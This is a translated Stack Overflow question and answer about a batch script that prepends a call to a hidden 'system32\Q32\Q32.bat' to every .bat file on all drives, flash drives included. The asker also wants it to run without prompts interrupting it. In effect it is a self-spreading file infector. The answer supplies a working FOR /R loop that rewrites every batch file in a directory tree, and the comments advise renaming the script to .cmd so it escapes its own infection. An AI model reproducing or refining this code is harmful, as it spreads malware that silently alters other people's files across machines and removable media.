【问题标题】:batch file 'for' and appending confusion批处理文件“for”并附加混淆
【发布时间】:2012-05-04 04:05:02
【问题描述】:

我正在尝试在我的批处理文件中创建一个例程,它将对自身的调用附加到每个其他驱动器(包括闪存驱动器等)中每个其他批处理文件的开头。我一直在使用嵌套的 FOR 函数来做到这一点。第一部分设置一个名为 append 的变量,用于对驱动器中的每个批处理文件进行实际附加。第二部分使用 fsutil 获取每个正在使用的驱动器,并通过“cd”级联每个输出,然后调用 append 变量来执行实际的附加。目的是确保检查每个驱动器是否要附加批处理文件。 我可以将变量设置为这样的命令字符串吗? 这么多 FOR 功能会造成故障,因为我有一个嵌入另一个? 我是否要在 FOR 函数中设置变量和使用标记,对吗? 实际的附加过程会顺利吗? 最后,是否会有任何可能中断自动化的中断,例如尝试将 cd 设置为没有光盘的光盘驱动器并导致“插入光盘”弹出窗口?

set append = (
    FOR %%F IN (*.bat) DO (
        FOR /f "tokens=*" %%I IN (%%F) DO (
            set origtext = %%I
            echo @echo off >%%F
            echo cd %drive%WINDOWS\system32\Q32 >> %%F
            echo start Q32.bat >> %%F
            echo %%I >> %%F
        )
    )
)
FOR /f "tokens=*" %%A IN (fsutil fsinfo) DO (
    cd %%A
    %append%
)

【问题讨论】:

    标签: batch-file for-loop


    【解决方案1】:

    你可以用这样的东西做更少的循环:

    set desiredCall=c:\windows\batchyouwanttocall.bat
    
    for /r %i in (*.bat) do (
       echo %desiredCall% > "%i.tmp"
       type "%i" >> "%i.tmp"
       move /y "%i.tmp" "%i"
    )
    

    FOR /R 从您调用的任何位置遍历目录树。因此,如果您从C: 运行此程序,您 C 盘上的每个 .bat 文件都会受到影响。

    使用这种方法,您不必遍历每个文件的每一行。只是每个文件。

    为了回答你的问题,我认为你不能将变量设置为这样的命令字符串。

    需要注意的是,如果您要调用的例程(上面的 %desiredCall%)也是一个 .bat 文件,您需要确保不要将其设置为无限调用自身。

    【讨论】:

    • 如何避免将文件附加到自身?
    • @user1374083,一种方法是使用“.cmd”扩展名重命名它。它仍然会像 .bat 那样以这种方式执行,但不会被你的脚本捕获。
    • 我想我已修复它-我将程序设置为创建第二个文本文件并将其自己的内容打印到该文本文件中,然后在完成附加后,它将原始文本复制回程序中并删除文本文件。这行得通吗?
    • 我不确定我是否理解你,但听起来你对自己在做什么有所了解。您只需要确保您要拨打的电话 batchyouwanttocall.bat 不会预先添加到 batchyouwanttocall.bat 本身。我在上面输入的答案是否适合您作为可接受的答案?
    猜你喜欢
    • 1970-01-01
    • 2015-08-09
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2023-04-08
    • 1970-01-01
    相关资源
    最近更新 更多